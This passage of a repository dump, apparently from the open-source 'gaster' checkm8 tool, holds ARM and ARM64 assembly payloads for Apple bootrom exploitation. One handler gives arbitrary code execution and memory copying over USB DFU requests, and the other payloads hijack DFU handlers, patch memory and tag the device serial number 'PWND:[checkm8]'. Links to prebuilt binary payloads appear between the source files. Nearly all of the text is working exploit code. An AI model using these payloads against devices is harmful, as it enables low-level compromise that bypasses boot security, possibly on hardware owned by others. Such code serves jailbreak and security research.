done_magic, 0x7FFFFF3 23 | .set memc_magic, 0x7FFFFF4 24 | .set memcpy_addr, 0x7FFFFF5 25 | .set usb_core_do_transfer, 0x7FFFFF6 26 | 27 | .thumb 28 | .global _main 29 | _main: 30 | ldr pc, =handle_interface_request 31 | b _main 32 | ldrh r2, [r0] 33 | movw r3, #0x2A1 34 | cmp r2, r3 35 | bne _main 36 | push {r4-r6, lr} 37 | sub sp, sp, #0x10 38 | mov r4, r0 39 | ldr r5, =insecure_memory_base 40 | movw r1, #0xFFFF 41 | ldrh r2, [r4, #0x2] 42 | cmp r1, r2 43 | bne _request_done 44 | ldrd r0, r1, [r5] 45 | ldr r2, =exec_magic 46 | cmp r0, r2 47 | bne _not_exec 48 | cmp r1, r2 49 | bne _not_exec 50 | mov r1, #0 51 | str r1, [r5] 52 | ldrd r0, r1, [r5, #0x20] 53 | strd r0, r1, [sp] 54 | ldrd r0, r1, [r5, #0x28] 55 | strd r0, r1, [sp, #0x8] 56 | ldrd r0, r1, [r5, #0x10] 57 | ldrd r2, r3, [r5, #0x18] 58 | ldr r6, [r5, #0x8] 59 | blx r6 60 | ldr r2, =done_magic 61 | str r0, [r5, #0x8] 62 | strd r2, r2, [r5] 63 | b _request_done 64 | _not_exec: 65 | ldr r2, =memc_magic 66 | cmp r0, r2 67 | bne _request_done 68 | cmp r1, r2 69 | bne _request_done 70 | mov r1, #0 71 | strd r1, r1, [r5] 72 | ldrd r0, r1, [r5, #0x10] 73 | ldr r2, [r5, #0x18] 74 | ldr r3, =memcpy_addr 75 | blx r3 76 | ldr r2, =done_magic 77 | str r0, [r5, #0x8] 78 | strd r2, r2, [r5] 79 | _request_done: 80 | mov r0, #0x80 81 | mov r1, r5 82 | ldrh r2, [r4, #0x6] 83 | mov r3, #0 84 | ldr r4, =usb_core_do_transfer 85 | blx r4 86 | mov r0, #0 87 | add sp, sp, #0x10 88 | pop {r4-r6, pc} 89 | -------------------------------------------------------------------------------- /payload_handle_checkm8_request_armv7.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/0x7ff/gaster/7fffffff38a1bed1cdc1c5bae0df70f14395129b/payload_handle_checkm8_request_armv7.bin -------------------------------------------------------------------------------- /payload_notA9.S: -------------------------------------------------------------------------------- 1 | /* Copyright 2023 0x7ff 2 | * 3 | * Licensed under the Apache License, Version 2.0 (the "License"); 4 | * you may not use this file except in compliance with the License. 5 | * You may obtain a copy of the License at 6 | * 7 | * http://www.apache.org/licenses/LICENSE-2.0 8 | * 9 | * Unless required by applicable law or agreed to in writing, software 10 | * distributed under the License is distributed on an "AS IS" BASIS, 11 | * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | * See the License for the specific language governing permissions and 13 | * limitations under the License. 14 | */ 15 | .text 16 | .align 2 17 | 18 | .pool 19 | .set payload_dest, 0x7FFFFFF0 20 | .set dfu_handle_bus_reset, 0x7FFFFFF1 21 | .set dfu_handle_request, 0x7FFFFFF2 22 | .set payload_off, 0x7FFFFFF3 23 | .set payload_sz, 0x7FFFFFF4 24 | .set memcpy_addr, 0x7FFFFFF5 25 | .set gUSBSerialNumber, 0x7FFFFFF6 26 | .set usb_create_string_descriptor, 0x7FFFFFF7 27 | .set usb_serial_number_string_descriptor, 0x7FFFFFF8 28 | .set patch_addr, 0x7FFFFFF9 29 | 30 | .global _main 31 | _main: 32 | stp x29, x30, [sp, #-0x10]! 33 | ldr x0, =payload_dest 34 | ldr x2, =dfu_handle_bus_reset 35 | str xzr, [x2] 36 | ldr x2, =dfu_handle_request 37 | add x1, x0, #0xC 38 | str x1, [x2] 39 | adr x1, _main 40 | ldr x2, =payload_off 41 | add x1, x1, x2 42 | ldr x2, =payload_sz 43 | ldr x3, =memcpy_addr 44 | blr x3 45 | ldr x0, =gUSBSerialNumber 46 | _find_zero_loop: 47 | add x0, x0, #1 48 | ldrb w1, [x0] 49 | cbnz w1, _find_zero_loop 50 | adr x1, PWND_STR 51 | ldp x2, x3, [x1] 52 | stp x2, x3, [x0] 53 | ldr x0, =gUSBSerialNumber 54 | ldr x1, =usb_create_string_descriptor 55 | blr x1 56 | ldr x1, =usb_serial_number_string_descriptor 57 | strb w0, [x1] 58 | mov w0, #0xD2800000 59 | ldr x1, =patch_addr 60 | str w0, [x1] 61 | ldp x29, x30, [sp], #0x10 62 | ret 63 | 64 | PWND_STR: 65 | .asciz " PWND:[checkm8]" 66 | -------------------------------------------------------------------------------- /payload_notA9.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/0x7ff/gaster/7fffffff38a1bed1cdc1c5bae0df70f14395129b/payload_notA9.bin -------------------------------------------------------------------------------- /payload_notA9_armv7.S: -------------------------------------------------------------------------------- 1 | /* Copyright 2023 0x7ff 2 | * 3 | * Licensed under the Apache License, Version 2.0 (the "License"); 4 | * you may not use this file except in compliance with the License. 5 | * You may obtain a copy of the License at 6 | * 7 | * http://www.apache.org/licenses/LICENSE-2.0 8 | * 9 | * Unless required by applicable law or agreed to in writing, software 10 | * distributed under the License is distributed on an "AS IS" BASIS, 11 | * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | * See the License for the specific language governing permissions and 13 | * limitations under the License. 14 | */ 15 | .text 16 | .align 2 17 | 18 | .pool 19 | .set payload_dest, 0x7FFFFF0 20 | .set dfu_handle_bus_reset, 0x7FFFFF1 21 | .set dfu_handle_request, 0x7FFFFF2 22 | .set payload_off, 0x7FFFFF3 23 | .set payload_sz, 0x7FFFFF4 24 | .set memcpy_addr, 0x7FFFFF5 25 | .set gUSBSerialNumber, 0x7FFFFF6 26 | .set usb_create_string_descriptor, 0x7FFFFF7 27 | .set usb_serial_number_string_descriptor, 0x7FFFFF8 28 | 29 | .arm 30 | .global _main 31 | _main: 32 | push {lr} 33 | ldr r0, =payload_dest 34 | ldr r2, =dfu_handle_bus_reset 35 | mov r1, #0 36 | str r1, [r2] 37 | ldr r2, =dfu_handle_request 38 | add r1, r0, #0x7 39 | str r1, [r2] 40 | adr r1, _main 41 | ldr r2, =payload_off 42 | add r1, r1, r2 43 | ldr r2, =payload_sz 44 | ldr r3, =memcpy_addr 45 | blx r3 46 | ldr r0, =gUSBSerialNumber 47 | _find_zero_loop: 48 | add r0, r0, #1 49 | ldrb r1, [r0] 50 | cmp r1, #0 51 | bne _find_zero_loop 52 | adr r1, PWND_STR 53 | ldr r2, [r1] 54 | str r2, [r0] 55 | ldr r2, [r1, #0x4] 56 | str r2, [r0, #0x4] 57 | ldr r2, [r1, #0x8] 58 | str r2, [r0, #0x8] 59 | ldr r2, [r1, #0xC] 60 | str r2, [r0, #0xC] 61 | ldr r0, =gUSBSerialNumber 62 | ldr r1, =usb_create_string_descriptor 63 | blx r1 64 | ldr r1, =usb_serial_number_string_descriptor 65 | strb r0, [r1] 66 | pop {pc} 67 | 68 | PWND_STR: 69 | .asciz " PWND:[checkm8]" 70 | -------------------------------------------------------------------------------- /payload_notA9_armv7.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/0x7ff/gaster/7fffffff38a1bed1cdc1c5bae0df70f14395129b/payload_notA9_armv7.bin --------------------------------------------------------------------------------